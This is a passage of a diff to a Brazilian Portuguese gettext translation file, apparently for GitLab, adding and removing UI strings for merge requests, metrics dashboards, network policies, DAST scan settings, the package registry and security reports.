msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr "Metadado do Maven"
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr "Membros"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr "Merge Requests"
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr "Merge Requests criadas"
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr "Fazer merge imediatamente"
msgid "Merge in progress"
msgstr "Merge em andamento"
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr "conflitos"
msgid "MergeConflict|origin//their changes"
msgstr "origin//alterações deles"
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr "Métricas"
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr "Confira a documentação de CI/CD sobre como implantar em um ambiente"
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr "Criar métricas"
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr "Para agrupar métricas similares"
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr "Deve ser uma consulta PromQL válida."
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr "Documentação de consulta do Prometheus"
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr "Rótulo do eixo Y"
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "Listas de marcos não estão disponíveis para a sua licença atual"
msgid "Milestone lists show all issues from the selected milestone."
msgstr "As listas de marcos mostram todas as issues do marco selecionado."
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr "Faltando endpoint de assinaturas do commit!"
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr "Monitoramento"
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr "Meses"
@@ -15811,12 +16268,45 @@ msgstr "Rede"
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr "Nunca"
@@ -16296,12 +16849,18 @@ msgstr "Nenhum repositório"
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr "Nenhum runner encontrado"
msgid "No schedules"
msgstr "Nenhum agendamento"
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr "Ainda não está pronto. Tente mais tarde."
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr "Novembro"
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr "OK"
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr "Apenas administradores"
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr "Somente membros do projeto podem comentar."
msgid "Only project members will be imported. Group members will be skipped."
msgstr "Apenas membros do projeto serão importados. Membros do grupo serão ignorados."
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr "Abrir"
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr "Abrir erros"
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr "Pedidos de saída"
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr "Informações do pacote"
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr "Por favor, escolha um URL de grupo sem caracteres especiais."
msgid "Please complete your profile with email address"
msgstr "Por favor, complete seu perfil com endereço de e-mail"
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr "Por exemplo: 30 mins atrás."
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr "Status atual"
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr "Excluir conta"
-
msgid "Profiles|Delete account"
msgstr "Excluir conta"
-msgid "Profiles|Delete your account?"
-msgstr "Deseja apagar sua conta?"
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr "A exclusão de uma conta tem os seguintes efeitos:"
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr "O nível de visibilidade do projeto será alterado para coincidir com as regras do namespace ao transferir para um grupo."
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr "Projeto: %{name}"
@@ -18707,6 +19269,9 @@ msgstr "Ninguém"
msgid "ProjectFileTree|Name"
msgstr "Nome"
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr "Nunca"
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr "Operador"
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,12 +19872,21 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr "Tolerância"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
+msgstr ""
+
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr "%{exporters} com %{metrics} foram encontrados"
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
-msgstr "<p class=\"text-tertiary\">Nenhuma <a href=\"%{docsUrl}\">métrica comum</a> foi encontrada</p>"
-
msgid "PrometheusService|Active"
msgstr "Ativo"
@@ -19370,6 +19944,9 @@ msgstr "Mais informações"
msgid "PrometheusService|New metric"
msgstr "Nova métrica"
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr "Pesquisas recentes"
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr "Remover aprovadores"
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr "Remover prioridade"
-msgid "Remove project"
-msgstr "Remover projeto"
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr "Removido %{type} com id %{id}"
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr "O grupo removido não pode ser restaurado!"
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr "Removendo a licença…"
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr "Remover o projeto irá apagar seu repositório e todos os recursos relacionados, incluindo issues, merge request etc."
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr "Configurações do Repositório"
-msgid "Repository URL"
-msgstr "URL do repositório"
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr "Resolver conflitos na branch de origem"
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr "Executar pipelines CI/CD para repositórios externos"
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr "Salvar"
msgid "Save Changes"
msgstr "Salvar alterações"
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr "Salvar mesmo assim"
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr "Salvar variáveis"
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr "Pesquisar branches"
msgid "Search branches and tags"
msgstr "Procurar branch e tags"
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr "Secreto"
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
